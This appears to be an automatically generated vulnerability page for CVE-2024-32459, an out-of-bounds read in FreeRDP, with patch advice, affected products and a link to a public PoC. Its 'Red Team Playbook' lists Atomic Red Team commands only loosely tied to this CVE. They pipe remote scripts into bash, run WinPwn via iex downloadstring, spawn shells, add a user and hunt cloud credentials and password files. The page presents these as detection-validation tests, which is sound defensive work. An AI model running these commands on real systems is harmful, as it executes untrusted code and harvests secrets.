CVE-2024-32459
Overview
This vulnerability is an out-of-bounds read occurring within FreeRDP's Remote Desktop Protocol implementation. The root cause lies in improper bounds checking when processing certain protocol data, leading to memory access beyond allocated buffers. The flaw affects FreeRDP client and server components handling RDP data streams prior to versions 3.5.0 and 2.11.6.
Vulnerability Description
FreeRDP is a free implementation of the Remote Desktop Protocol. FreeRDP based clients and servers that use a version of FreeRDP prior to 3.5.0 or 2.11.6 are vulnerable to out-of-bounds read. Versions 3.5.0 and 2.11.6 patch the issue. No known workarounds are available.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending crafted RDP packets to a vulnerable FreeRDP client or server, causing out-of-bounds memory reads. This may lead to information disclosure or application instability. No user interaction is required, and network access to the RDP service is sufficient. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms that exploitation requires no privileges or user interaction, increasing the attack surface and potential for remote compromise.
Solution
Users should upgrade FreeRDP to version 3.5.0 or 2.11.6 or later, as these versions contain the patches addressing the out-of-bounds read. Detailed patch information and instructions are available in the official FreeRDP security advisory (https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-cp4q-p737-rmw9) and release notes for version 2.11.6 (https://github.com/FreeRDP/FreeRDP/releases/tag/2.11.6). No workarounds are currently recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in FreeRDP, a widely used implementation of the Remote Desktop Protocol, stems from an out-of-bounds read issue present in versions prior to 3.5.0 and 2.11.6. This flaw allows an attacker to read memory locations beyond the intended buffer limits, potentially exposing sensitive data or leading to undefined behavior within the application. The root cause is typically associated with improper validation of input data, which can result in the application accessing memory that it should not. This kind of vulnerability can lead to various security issues, including information disclosure and potential system crashes, making it a critical concern for users relying on FreeRDP for remote desktop services.
Attack vectors for this vulnerability are primarily network-based, as FreeRDP is designed to facilitate remote desktop connections over potentially insecure networks. An attacker could exploit this flaw by crafting malicious packets that trigger the out-of-bounds read condition when sent to a vulnerable FreeRDP server or client. Once the attacker successfully executes this exploit, they may gain access to sensitive information stored in memory, such as authentication tokens, user credentials, or other confidential data. Furthermore, depending on the specific implementation and the data exposed, the attacker could leverage this information for further attacks, including lateral movement within a network or escalating privileges.
The real-world impact of this vulnerability poses significant business risks, particularly for organizations that rely on FreeRDP for remote access to critical systems. The high CVSS score of 9.8 indicates that the vulnerability is not only easy to exploit but also has severe consequences if successfully executed. Organizations could face data breaches, loss of sensitive information, and potential regulatory penalties if they fail to protect their systems adequately. Additionally, the reputational damage resulting from a successful attack could lead to loss of customer trust and business opportunities, further compounding the financial impact.
To detect and mitigate this vulnerability, organizations should prioritize updating their FreeRDP installations to the patched versions (3.5.0 or 2.11.6) as soon as possible. Regular patch management practices are essential to ensure that all software components are up to date and protected against known vulnerabilities. In addition to updating software, organizations should implement network segmentation and access controls to limit exposure to potential attacks. Monitoring network traffic for unusual patterns or signs of exploitation attempts can also help detect malicious activity early. Employing intrusion detection systems (IDS) and conducting regular security assessments can further enhance an organization's ability to identify and respond to threats associated with this vulnerability.
In conclusion, the out-of-bounds read vulnerability in FreeRDP represents a significant threat to organizations utilizing this remote desktop solution. The potential for data exposure and the ease of exploitation necessitate immediate attention and action from affected users. By adopting proactive security measures, including timely updates and robust monitoring practices, organizations can mitigate the risks associated with this vulnerability and safeguard their critical assets against potential exploitation.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Freerdp | Freerdp | All |
cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*
|
|
|
Freerdp | Freerdp | All |
cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 38 |
cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 39 |
cpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 40 |
cpe:2.3:o:fedoraproject:fedora:40:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
absholi7ly/FreeRDP-Out-of-Bounds-Read-CVE-2024-32459-
The FreeRDP - Out-of-Bounds Read (CVE-2024-32459) vulnerability concerns FreeRDP, a free implementation of Remote Deskto...
|
absholi7ly | 4 | 10 | 2024-05-22 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-540 | Overread Buffers |
33%
|
Low | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
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